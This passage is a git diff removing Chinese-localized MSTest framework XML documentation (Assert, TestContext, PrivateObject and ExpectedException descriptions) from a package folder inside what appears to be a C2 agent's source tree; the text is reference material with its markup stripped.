类的新实例。 - - 要创建的对象的类型 - 表示供方法调用的 表示供构造函数获取的参数编号、顺序和类型的对象 - 要传递到构造函数的参数 - - - - 初始化包装 - 给定对象的 类的新实例。 - - 要包装的对象 - - - - 初始化包装 - 给定对象的 类的新实例。 - - 要包装的对象 - PrivateType 对象 - - - - 获取或设置目标 - - - - - 获取基础对象的类型 - - - - - 返回目标对象的哈希代码 - - 表示目标对象的哈希代码的 int - - - - 等于 - - 要与其比较的对象 - 如果对象相等,则返回 true。 - - - - 调用指定方法 - - 方法名称 - 要传递到成员以调用的参数。 - 方法调用的结果 - - - - 调用指定方法 - - 方法名称 - 表示供方法调用的 表示供方法获取的参数编号、顺序和类型的对象。 - 要传递到成员以调用的参数。 - 方法调用的结果 - - - - 调用指定方法 - - 方法名称 - 表示供方法调用的 表示供方法获取的参数编号、顺序和类型的对象。 - 要传递到成员以调用的参数。 - 与泛型参数的类型对应的类型数组。 - 方法调用的结果 - - - - 调用指定方法 - - 方法名称 - 要传递到成员以调用的参数。 - 区域性信息 - 方法调用的结果 - - - - 调用指定方法 - - 方法名称 - 表示供方法调用的 表示供方法获取的参数编号、顺序和类型的对象。 - 要传递到成员以调用的参数。 - 区域性信息 - 方法调用的结果 - - - - 调用指定方法 - - 方法名称 - 由一个或多个以下对象组成的位掩码: 指定如何执行搜索。 - 要传递到成员以调用的参数。 - 方法调用的结果 - - - - 调用指定方法 - - 方法名称 - 由一个或多个以下对象组成的位掩码: 指定如何执行搜索。 - 表示供方法调用的 表示供方法获取的参数编号、顺序和类型的对象。 - 要传递到成员以调用的参数。 - 方法调用的结果 - - - - 调用指定方法 - - 方法名称 - 由一个或多个以下对象组成的位掩码: 指定如何执行搜索。 - 要传递到成员以调用的参数。 - 区域性信息 - 方法调用的结果 - - - - 调用指定方法 - - 方法名称 - 由一个或多个以下对象组成的位掩码: 指定如何执行搜索。 - 表示供方法调用的 表示供方法获取的参数编号、顺序和类型的对象。 - 要传递到成员以调用的参数。 - 区域性信息 - 方法调用的结果 - - - - 调用指定方法 - - 方法名称 - 由一个或多个以下对象组成的位掩码: 指定如何执行搜索。 - 表示供方法调用的 表示供方法获取的参数编号、顺序和类型的对象。 - 要传递到成员以调用的参数。 - 区域性信息 - 与泛型参数的类型对应的类型数组。 - 方法调用的结果 - - - - 使用每个维度的子脚本数组获取数组元素 - - 成员名称 - 数组的索引 - 元素数组。 - - - - 使用每个维度的子脚本数组设置数组元素 - - 成员名称 - 要设置的值 - 数组的索引 - - - - 使用每个维度的子脚本数组获取数组元素 - - 成员名称 - 由一个或多个以下对象组成的位掩码: 指定如何执行搜索。 - 数组的索引 - 元素数组。 - - - - 使用每个维度的子脚本数组设置数组元素 - - 成员名称 - 由一个或多个以下对象组成的位掩码: 指定如何执行搜索。 - 要设置的值 - 数组的索引 - - - - 获取字段 - - 字段名称 - 字段。 - - - - 设置字段 - - 字段名称 - 要设置的值 - - - - 获取字段 - - 字段名称 - 由一个或多个以下对象组成的位掩码: 指定如何执行搜索。 - 字段。 - - - - 设置字段 - - 字段名称 - 由一个或多个以下对象组成的位掩码: 指定如何执行搜索。 - 要设置的值 - - - - 获取字段或属性 - - 字段或属性的名称 - 字段或属性。 - - - - 设置字段或属性 - - 字段或属性的名称 - 要设置的值 - - - - 获取字段或属性 - - 字段或属性的名称 - 由一个或多个以下对象组成的位掩码: 指定如何执行搜索。 - 字段或属性。 - - - - 设置字段或属性 - - 字段或属性的名称 - 由一个或多个以下对象组成的位掩码: 指定如何执行搜索。 - 要设置的值 - - - - 获取属性 - - 属性名称 - 要传递到成员以调用的参数。 - 属性。 - - - - 获取属性 - - 属性名称 - 表示供方法调用的 表示索引属性的参数编号、顺序和类型的对象。 - 要传递到成员以调用的参数。 - 属性。 - - - - 设置属性 - - 属性名称 - 要设置的值 - 要传递到成员以调用的参数。 - - - - 设置属性 - - 属性名称 - 表示供方法调用的 表示索引属性的参数编号、顺序和类型的对象。 - 要设置的值 - 要传递到成员以调用的参数。 - - - - 获取属性 - - 属性名称 - 由一个或多个以下对象组成的位掩码: 指定如何执行搜索。 - 要传递到成员以调用的参数。 - 属性。 - - - - 获取属性 - - 属性名称 - 由一个或多个以下对象组成的位掩码: 指定如何执行搜索。 - 表示供方法调用的 表示索引属性的参数编号、顺序和类型的对象。 - 要传递到成员以调用的参数。 - 属性。 - - - - 设置属性 - - 属性名称 - 由一个或多个以下对象组成的位掩码: 指定如何执行搜索。 - 要设置的值 - 要传递到成员以调用的参数。 - - - - 设置属性 - - 属性名称 - 由一个或多个以下对象组成的位掩码: 指定如何执行搜索。 - 要设置的值 - 表示供方法调用的 表示索引属性的参数编号、顺序和类型的对象。 - 要传递到成员以调用的参数。 - - - - 验证访问字符串 - - 访问字符串 - - - - 调用成员 - - 成员名称 - 其他特性 - 调用的参数 - 区域性 - 调用的结果 - - - - 从当前私有类型中提取最合适的泛型方法签名。 - - 要在其中搜索签名缓存的方法的名称。 - 与要在其中进行搜索的参数类型对应的类型数组。 - 与泛型参数的类型对应的类型数组。 - 以进一步筛选方法签名。 - 参数的修饰符。 - methodinfo 实例。 - - - - 此类表示专用访问器功能的私有类。 - - - - - 绑定到所有内容 - - - - - 包装的类型。 - - - - - 初始化包含私有类型的 类的新实例。 - - 程序集名称 - 其完全限定的名称 - - - - 初始化 类的新实例, - 该类包含类型对象中的 - 私有类型 - 要创建的包装类型。 - - - - 获取引用的类型 - - - - - 调用静态成员 - - InvokeHelper 的成员的名称 - 调用的参数 - 调用的结果 - - - - 调用静态成员 - - InvokeHelper 的成员的名称 - 表示供方法调用的参数编号、顺序和类型的对象数组 - 调用的参数 - 调用的结果 - - - - 调用静态成员 - - InvokeHelper 的成员的名称 - 表示供方法调用的参数编号、顺序和类型的对象数组 - 调用的参数 - 与泛型参数的类型对应的类型数组。 - 调用的结果 - - - - 调用静态方法 - - 成员名称 - 调用的参数 - 区域性 - 调用的结果 - - - - 调用静态方法 - - 成员名称 - 表示供方法调用的参数编号、顺序和类型的对象数组 - 调用的参数 - 区域性信息 - 调用的结果 - - - - 调用静态方法 - - 成员名称 - 其他调用特性 - 调用的参数 - 调用的结果 - - - - 调用静态方法 - - 成员名称 - 其他调用特性 - 表示供方法调用的参数编号、顺序和类型的对象数组 - 调用的参数 - 调用的结果 - - - - 调用静态方法 - - 成员名称 - 其他调用特性 - 调用的参数 - 区域性 - 调用的结果 - - - - 调用静态方法 - - 成员名称 - 其他调用特性 - /// 表示供方法调用的参数编号、顺序和类型的对象数组 - 调用的参数 - 区域性 - 调用的结果 - - - - 调用静态方法 - - 成员名称 - 其他调用特性 - /// 表示供方法调用的参数编号、顺序和类型的对象数组 - 调用的参数 - 区域性 - 与泛型参数的类型对应的类型数组。 - 调用的结果 - - - - 获取静态数组中的元素 - - 数组名称 - - 一个 32 位整数的一维数组,表示指定要获取的 - 元素位置的索引。例如,要访问 a[10][11],则索引为 {10,11} - - 指定位置处的元素 - - - - 设置静态数组的成员 - - 数组名称 - 要设置的值 - - 一个 32 位整数的一维数组,表示指定要设置的 - 元素位置的索引。例如,要访问 a[10][11],则数组为 {10,11} - - - - - 获取静态数组中的元素 - - 数组名称 - 其他 InvokeHelper 特性 - - 一个 32 位整数的一维数组,表示指定要获取的 - 元素位置的索引。例如,要访问 a[10][11],则数组为 {10,11} - - 指定位置处的元素 - - - - 设置静态数组的成员 - - 数组名称 - 其他 InvokeHelper 特性 - 要设置的值 - - 一个 32 位整数的一维数组,表示指定要设置的 - 元素位置的索引。例如,要访问 a[10][11],则数组为 {10,11} - - - - - 获取静态字段 - - 字段名称 - 静态字段。 - - - - 设置静态字段 - - 字段名称 - 调用的参数 - - - - 使用指定的 InvokeHelper 属性获取静态字段 - - 字段名称 - 其他调用特性 - 静态字段。 - - - - 使用绑定属性设置静态字段 - - 字段名称 - 其他 InvokeHelper 特性 - 调用的参数 - - - - 获取静态字段或属性 - - 字段或属性的名称 - 静态字段或属性。 - - - - 设置静态字段或属性 - - 字段或属性的名称 - 要设置到字段或属性的值 - - - - 使用指定的 InvokeHelper 属性获取静态字段或属性 - - 字段或属性的名称 - 其他调用特性 - 静态字段或属性。 - - - - 使用绑定属性设置静态字段或属性 - - 字段或属性的名称 - 其他调用特性 - 要设置到字段或属性的值 - - - - 获取静态属性 - - 字段或属性的名称 - 调用的参数 - 静态属性。 - - - - 设置静态属性 - - 属性名称 - 要设置到字段或属性的值 - 要传递到成员以调用的参数。 - - - - 设置静态属性 - - 属性名称 - 要设置到字段或属性的值 - 表示供方法调用的 表示索引属性的参数编号、顺序和类型的对象。 - 要传递到成员以调用的参数。 - - - - 获取静态属性 - - 属性名称 - 其他调用特性。 - 要传递到成员以调用的参数。 - 静态属性。 - - - - 获取静态属性 - - 属性名称 - 其他调用特性。 - 表示供方法调用的 表示索引属性的参数编号、顺序和类型的对象。 - 要传递到成员以调用的参数。 - 静态属性。 - - - - 设置静态属性 - - 属性名称 - 其他调用特性。 - 要设置到字段或属性的值 - 索引属性的可选索引值。索引属性的索引以零为基础。对于非索引属性此值应为 null。 - - - - 设置静态属性 - - 属性名称 - 其他调用特性。 - 要设置到字段或属性的值 - 表示供方法调用的 表示索引属性的参数编号、顺序和类型的对象。 - 要传递到成员以调用的参数。 - - - - 调用静态方法 - - 成员名称 - 其他调用特性 - 调用的参数 - 区域性 - 调用的结果 - - - - 为泛型方法提供方法签名发现。 - - - - - 比较这两种方法的方法签名。 - - Method1 - Method2 - 如果相似则为 true。 - - - - 从所提供类型的基类型获取层次结构深度。 - - 类型。 - 深度。 - - - - 通过提供的信息查找高度派生的类型。 - - 候选匹配。 - 匹配数。 - 派生程度最高的方法。 - - - - 如果给定了一组与基础条件匹配的方法,则基于 - 类型数组选择一个方法。如果没有方法与条件匹配,此方法应 - 返回 null。 - - 绑定规范。 - 候选匹配 - 类型 - 参数修饰符。 - 匹配方法。如无匹配则为 null。 - - - - 在提供的两种方法中找到最具有针对性的方法。 - - 方法 1 - 方法 1 的参数顺序 - 参数数组类型。 - 方法 2 - 方法 2 的参数顺序 - >Paramter 数组类型。 - 要在其中进行搜索的类型。 - 参数。 - 表示匹配的 int。 - - - - 在提供的两种方法中找到最具有针对性的方法。 - - 方法 1 - 方法 1 的参数顺序 - 参数数组类型。 - 方法 2 - 方法 2 的参数顺序 - >参数数组类型。 - 要在其中进行搜索的类型。 - 参数。 - 表示匹配的 int。 - - - - 在提供的两种类型中找到一种最具针对性的类型。 - - 类型 1 - 类型 2 - 定义类型 - 表示匹配的 int。 - - - - 用于存储提供给单元测试的信息。 - - - - - 获取测试的测试属性。 - - - - - 测试用于数据驱动测试时获取当前数据行。 - - - - - 测试用于数据驱动测试时获取当前数据连接行。 - - - - - 获取测试运行的基目录,该目录下存储有部署文件和结果文件。 - - - - - 获取为测试运行部署的文件的目录。通常是 的子目录。 - - - - - 获取测试运行结果的基目录。通常是 的子目录。 - - - - - 获取测试运行结果文件的目录。通常为 的子目录。 - - - - - 获取测试结果文件的目录。 - - - - - 获取测试运行的基目录,该目录下存储有部署的文件和结果文件。 - 与 相同。请改用该属性。 - - - - - 获取为测试运行部署的文件的目录。通常为 的子目录。 - 与 相同。请改用该属性。 - - - - - 获取测试运行结果文件的目录。通常为 的子目录。 - 与 相同。请改用测试运行结果文件的该属性,或使用特定测试结果文件的 - 。 - - - - - 获取包含当前正在执行的测试方法的类的完全限定名称 - - - - - 获取当前正在执行的测试方法的名称 - - - - - 获取当前测试结果。 - - - - - 用于在测试运行时写入跟踪消息 - - 格式化消息字符串 - - - - 用于在测试运行时写入跟踪消息 - - 格式字符串 - 参数 - - - - 将文件名添加到 TestResult.ResultFileNames 中的列表 - - - 文件名。 - - - - - 启动具有指定名称的计时器 - - 计时器名称。 - - - - 终止具有指定名称的计时器 - - 计时器名称。 - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/zh-Hans/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/zh-Hans/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 0ccce3fa..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/zh-Hans/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - 用于执行的 TestMethod。 - - - - - 获取测试方法的名称。 - - - - - 获取测试类的名称。 - - - - - 获取测试方法的返回类型。 - - - - - 获取测试方法的参数。 - - - - - 获取测试方法的 methodInfo。 - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - 调用测试方法。 - - - 传递到测试方法的参数(例如,对于数据驱动) - - - 测试方法调用的结果。 - - - This call handles asynchronous test methods as well. - - - - - 获取测试方法的所有属性。 - - - 父类中定义的任何属性都有效。 - - - 所有特性。 - - - - - 获取特定类型的属性。 - - System.Attribute type. - - 父类中定义的任何属性都有效。 - - - 指定类型的属性。 - - - - - 帮助程序。 - - - - - 非 null 的检查参数。 - - - 参数。 - - - 参数名称。 - - - 消息。 - - Throws argument null exception when parameter is null. - - - - 不为 null 或不为空的检查参数。 - - - 参数。 - - - 参数名称。 - - - 消息。 - - Throws ArgumentException when parameter is null. - - - - 枚举在数据驱动测试中访问数据行的方式。 - - - - - 按连续顺序返回行。 - - - - - 按随机顺序返回行。 - - - - - 用于定义测试方法内联数据的属性。 - - - - - 初始化 类的新实例。 - - 数据对象。 - - - - 初始化采用参数数组的 类的新实例。 - - 一个数据对象。 - 更多数据。 - - - - 获取数据以调用测试方法。 - - - - - 在测试结果中为自定义获取或设置显示名称。 - - - - - 断言无结论异常。 - - - - - 初始化 类的新实例。 - - 消息。 - 异常。 - - - - 初始化 类的新实例。 - - 消息。 - - - - 初始化 类的新实例。 - - - - - InternalTestFailureException 类。用来指示测试用例的内部错误 - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - 初始化 类的新实例。 - - 异常消息。 - 异常。 - - - - 初始化 类的新实例。 - - 异常消息。 - - - - 初始化 类的新实例。 - - - - - 指定引发指定类型异常的属性 - - - - - 初始化含有预期类型的 类的新实例 - - 预期异常的类型 - - - - 初始化 类的新实例, - 测试未引发异常时,该类中会包含预期类型和消息。 - - 预期异常的类型 - - 测试由于未引发异常而失败时测试结果中要包含的消息 - - - - - 获取指示预期异常类型的值 - - - - - 获取或设置一个值,指示是否允许将派生自预期异常类型的类型 - 作为预期类型 - - - - - 如果由于未引发异常导致测试失败,获取该消息以将其附加在测试结果中 - - - - - 验证由单元测试引发的异常类型是否为预期类型 - - 由单元测试引发的异常 - - - - 指定应从单元测试引发异常的属性基类 - - - - - 初始化含有默认无异常消息的 类的新实例 - - - - - 初始化含有一条无异常消息的 类的新实例 - - - 测试由于未引发异常而失败时测试结果中要包含的 - 消息 - - - - - 如果由于未引发异常导致测试失败,获取该消息以将其附加在测试结果中 - - - - - 如果由于未引发异常导致测试失败,获取该消息以将其附加在测试结果中 - - - - - 获取默认无异常消息 - - ExpectedException 特性类型名称 - 默认非异常消息 - - - - 确定该异常是否为预期异常。如果返回了方法,则表示 - 该异常为预期异常。如果方法引发异常,则表示 - 该异常不是预期异常,且引发的异常消息 - 包含在测试结果中。为了方便, - 可使用 类。如果使用了 且断言失败, - 则表示测试结果设置为了“无结论”。 - - 由单元测试引发的异常 - - - - 如果异常为 AssertFailedException 或 AssertInconclusiveException,则再次引发该异常 - - 如果是断言异常则要重新引发的异常 - - - - 此类旨在帮助用户使用泛型类型为类型执行单元测试。 - GenericParameterHelper 满足某些常见的泛型类型限制, - 如: - 1.公共默认构造函数 - 2.实现公共接口: IComparable,IEnumerable - - - - - 初始化 类的新实例, - 该类满足 C# 泛型中的“可续订”约束。 - - - This constructor initializes the Data property to a random value. - - - - - 初始化 类的新实例, - 该类将数据属性初始化为用户提供的值。 - - 任意整数值 - - - - 获取或设置数据 - - - - - 比较两个 GenericParameterHelper 对象的值 - - 要进行比较的对象 - 如果 obj 与“此”GenericParameterHelper 对象具有相同的值,则为 true。 - 反之则为 false。 - - - - 为此对象返回哈希代码。 - - 哈希代码。 - - - - 比较两个 对象的数据。 - - 要比较的对象。 - - 有符号的数字表示此实例和值的相对值。 - - - Thrown when the object passed in is not an instance of . - - - - - 返回一个 IEnumerator 对象,该对象的长度派生自 - 数据属性。 - - IEnumerator 对象 - - - - 返回与当前对象相同的 GenericParameterHelper - 对象。 - - 克隆对象。 - - - - 允许用户记录/编写单元测试的跟踪以进行诊断。 - - - - - 用于 LogMessage 的处理程序。 - - 要记录的消息。 - - - - 要侦听的事件。单元测试编写器编写某些消息时引发。 - 主要供适配器使用。 - - - - - 测试编写器要将其调用到日志消息的 API。 - - 带占位符的字符串格式。 - 占位符的参数。 - - - - TestCategory 属性;用于指定单元测试的分类。 - - - - - 初始化 类的新实例并将分类应用到该测试。 - - - 测试类别。 - - - - - 获取已应用到测试的测试类别。 - - - - - "Category" 属性的基类 - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - 初始化 类的新实例。 - 将分类应用到测试。TestCategories 返回的字符串 - 与 /category 命令一起使用,以筛选测试 - - - - - 获取已应用到测试的测试分类。 - - - - - AssertFailedException 类。用于指示测试用例失败 - - - - - 初始化 类的新实例。 - - 消息。 - 异常。 - - - - 初始化 类的新实例。 - - 消息。 - - - - 初始化 类的新实例。 - - - - - 帮助程序类的集合,用于测试单元测试中 - 的各种条件。如果不满足被测条件,则引发 - 一个异常。 - - - - - 获取 Assert 功能的单一实例。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 测试指定条件是否为 true, - 如果该条件为 false,则引发一个异常。 - - - 测试预期为 true 的条件。 - - - Thrown if is false. - - - - - 测试指定条件是否为 true, - 如果该条件为 false,则引发一个异常。 - - - 测试预期为 true 的条件。 - - - 要包含在异常中的消息,条件是当 - 为 false。消息显示在测试结果中。 - - - Thrown if is false. - - - - - 测试指定条件是否为 true, - 如果该条件为 false,则引发一个异常。 - - - 测试预期为 true 的条件。 - - - 要包含在异常中的消息,条件是当 - 为 false。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is false. - - - - - 测试指定条件是否为 false,如果条件为 true, - 则引发一个异常。 - - - 测试预期为 false 的条件。 - - - Thrown if is true. - - - - - 测试指定条件是否为 false,如果条件为 true, - 则引发一个异常。 - - - 测试预期为 false 的条件。 - - - 要包含在异常中的消息,条件是当 - 为 true。消息显示在测试结果中。 - - - Thrown if is true. - - - - - 测试指定条件是否为 false,如果条件为 true, - 则引发一个异常。 - - - 测试预期为 false 的条件。 - - - 要包含在异常中的消息,条件是当 - 为 true。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is true. - - - - - 测试指定的对象是否为 null,如果不是, - 则引发一个异常。 - - - 测试预期为 null 的对象。 - - - Thrown if is not null. - - - - - 测试指定的对象是否为 null,如果不是, - 则引发一个异常。 - - - 测试预期为 null 的对象。 - - - 要包含在异常中的消息,条件是当 - 不为 null。消息显示在测试结果中。 - - - Thrown if is not null. - - - - - 测试指定的对象是否为 null,如果不是, - 则引发一个异常。 - - - 测试预期为 null 的对象。 - - - 要包含在异常中的消息,条件是当 - 不为 null。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not null. - - - - - 测试指定对象是否非 null,如果为 null, - 则引发一个异常。 - - - 测试预期不为 null 的对象。 - - - Thrown if is null. - - - - - 测试指定对象是否非 null,如果为 null, - 则引发一个异常。 - - - 测试预期不为 null 的对象。 - - - 要包含在异常中的消息,条件是当 - 为 null。消息显示在测试结果中。 - - - Thrown if is null. - - - - - 测试指定对象是否非 null,如果为 null, - 则引发一个异常。 - - - 测试预期不为 null 的对象。 - - - 要包含在异常中的消息,条件是当 - 为 null。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is null. - - - - - 测试指定的两个对象是否引用同一对象, - 如果两个输入不引用同一对象,则引发一个异常。 - - - 要比较的第一个对象。这是测试预期的值。 - - - 要比较的第二个对象。这是测试下代码生成的值。 - - - Thrown if does not refer to the same object - as . - - - - - 测试指定的两个对象是否引用同一对象, - 如果两个输入不引用同一对象,则引发一个异常。 - - - 要比较的第一个对象。这是测试预期的值。 - - - 要比较的第二个对象。这是测试下代码生成的值。 - - - 要包含在异常中的消息,条件是当 - 不相同 。消息显示 - 在测试结果中。 - - - Thrown if does not refer to the same object - as . - - - - - 测试指定的两个对象是否引用同一对象, - 如果两个输入不引用同一对象,则引发一个异常。 - - - 要比较的第一个对象。这是测试预期的值。 - - - 要比较的第二个对象。这是测试下代码生成的值。 - - - 要包含在异常中的消息,条件是当 - 不相同 。消息显示 - 在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if does not refer to the same object - as . - - - - - 测试指定的对象是否引用了不同对象, - 如果两个输入引用同一对象,则引发一个异常。 - - - 要比较的第一个对象。这是测试预期与 - 以下内容不匹配的值: 。 - - - 要比较的第二个对象。这是测试下代码生成的值。 - - - Thrown if refers to the same object - as . - - - - - 测试指定的对象是否引用了不同对象, - 如果两个输入引用同一对象,则引发一个异常。 - - - 要比较的第一个对象。这是测试预期与 - 以下内容不匹配的值: 。 - - - 要比较的第二个对象。这是测试下代码生成的值。 - - - 要包含在异常中的消息,条件是当 - 相同 。消息显示在 - 测试结果中。 - - - Thrown if refers to the same object - as . - - - - - 测试指定的对象是否引用了不同对象, - 如果两个输入引用同一对象,则引发一个异常。 - - - 要比较的第一个对象。这是测试预期与 - 以下内容不匹配的值: 。 - - - 要比较的第二个对象。这是测试下代码生成的值。 - - - 要包含在异常中的消息,条件是当 - 相同 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if refers to the same object - as . - - - - - 测试指定值是否相等, - 如果两个值不相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - The type of values to compare. - - - 要比较的第一个值。这是测试预期的值。 - - - 要比较的第二个值。这是测试下代码生成的值。 - - - Thrown if is not equal to . - - - - - 测试指定值是否相等, - 如果两个值不相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - The type of values to compare. - - - 要比较的第一个值。这是测试预期的值。 - - - 要比较的第二个值。这是测试下代码生成的值。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - Thrown if is not equal to - . - - - - - 测试指定值是否相等, - 如果两个值不相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - The type of values to compare. - - - 要比较的第一个值。这是测试预期的值。 - - - 要比较的第二个值。这是测试下代码生成的值。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not equal to - . - - - - - 测试指定的值是否不相等, - 如果两个值相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - The type of values to compare. - - - 要比较的第一个值。这是测试预期不匹配 - 的值 。 - - - 要比较的第二个值。这是测试下代码生成的值。 - - - Thrown if is equal to . - - - - - 测试指定的值是否不相等, - 如果两个值相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - The type of values to compare. - - - 要比较的第一个值。这是测试预期不匹配 - 的值 。 - - - 要比较的第二个值。这是测试下代码生成的值。 - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - Thrown if is equal to . - - - - - 测试指定的值是否不相等, - 如果两个值相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - The type of values to compare. - - - 要比较的第一个值。这是测试预期不匹配 - 的值 。 - - - 要比较的第二个值。这是测试下代码生成的值。 - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is equal to . - - - - - 测试指定对象是否相等, - 如果两个对象不相等,则引发一个异常。即使逻辑值相等, - 不同的数字类型也被视为不相等。42L 不等于 42。 - - - 要比较的第一个对象。这是测试预期的对象。 - - - 要比较的第二个对象。这是在测试下由代码生成的对象。 - - - Thrown if is not equal to - . - - - - - 测试指定对象是否相等, - 如果两个对象不相等,则引发一个异常。即使逻辑值相等, - 不同的数字类型也被视为不相等。42L 不等于 42。 - - - 要比较的第一个对象。这是测试预期的对象。 - - - 要比较的第二个对象。这是在测试下由代码生成的对象。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - Thrown if is not equal to - . - - - - - 测试指定对象是否相等, - 如果两个对象不相等,则引发一个异常。即使逻辑值相等, - 不同的数字类型也被视为不相等。42L 不等于 42。 - - - 要比较的第一个对象。这是测试预期的对象。 - - - 要比较的第二个对象。这是在测试下由代码生成的对象。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not equal to - . - - - - - 测试指定对象是否不相等, - 如果相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - 要比较的第一个对象。这是测试预期与 - 以下内容不匹配的值: 。 - - - 要比较的第二个对象。这是在测试下由代码生成的对象。 - - - Thrown if is equal to . - - - - - 测试指定对象是否不相等, - 如果相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - 要比较的第一个对象。这是测试预期与 - 以下内容不匹配的值: 。 - - - 要比较的第二个对象。这是在测试下由代码生成的对象。 - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - Thrown if is equal to . - - - - - 测试指定对象是否不相等, - 如果相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - 要比较的第一个对象。这是测试预期与 - 以下内容不匹配的值: 。 - - - 要比较的第二个对象。这是在测试下由代码生成的对象。 - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is equal to . - - - - - 测试指定的浮点型是否相等, - 如果不相等,则引发一个异常。 - - - 要比较的第一个浮点型。这是测试预期的浮点型。 - - - 要比较的第二个浮点型。这是测试下代码生成的浮点型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 超过 。 - - - Thrown if is not equal to - . - - - - - 测试指定的浮点型是否相等, - 如果不相等,则引发一个异常。 - - - 要比较的第一个浮点型。这是测试预期的浮点型。 - - - 要比较的第二个浮点型。这是测试下代码生成的浮点型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 超过 。 - - - 要包含在异常中的消息,条件是当 - 不同于 多于 - 。消息显示在测试结果中。 - - - Thrown if is not equal to - . - - - - - 测试指定的浮点型是否相等, - 如果不相等,则引发一个异常。 - - - 要比较的第一个浮点型。这是测试预期的浮点型。 - - - 要比较的第二个浮点型。这是测试下代码生成的浮点型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 超过 。 - - - 要包含在异常中的消息,条件是当 - 不同于 多于 - 。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not equal to - . - - - - - 测试指定的浮点型是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个浮动。这是测试预期与 - 以下内容匹配的浮动: 。 - - - 要比较的第二个浮点型。这是测试下代码生成的浮点型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 最多 。 - - - Thrown if is equal to . - - - - - 测试指定的浮点型是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个浮动。这是测试预期与 - 以下内容匹配的浮动: 。 - - - 要比较的第二个浮点型。这是测试下代码生成的浮点型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 最多 。 - - - 要包含在异常中的消息,条件是当 - 等于 或相差少于 - 。消息显示在测试结果中。 - - - Thrown if is equal to . - - - - - 测试指定的浮点型是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个浮动。这是测试预期与 - 以下内容匹配的浮动: 。 - - - 要比较的第二个浮点型。这是测试下代码生成的浮点型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 最多 。 - - - 要包含在异常中的消息,条件是当 - 等于 或相差少于 - 。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is equal to . - - - - - 测试指定的双精度型是否相等。如果不相等, - 则引发一个异常。 - - - 要比较的第一个双精度型。这是测试预期的双精度型。 - - - 要比较的第二个双精度型。这是测试下代码生成的双精度型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 超过 。 - - - Thrown if is not equal to - . - - - - - 测试指定的双精度型是否相等。如果不相等, - 则引发一个异常。 - - - 要比较的第一个双精度型。这是测试预期的双精度型。 - - - 要比较的第二个双精度型。这是测试下代码生成的双精度型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 超过 。 - - - 要包含在异常中的消息,条件是当 - 不同于 多于 - 。消息显示在测试结果中。 - - - Thrown if is not equal to . - - - - 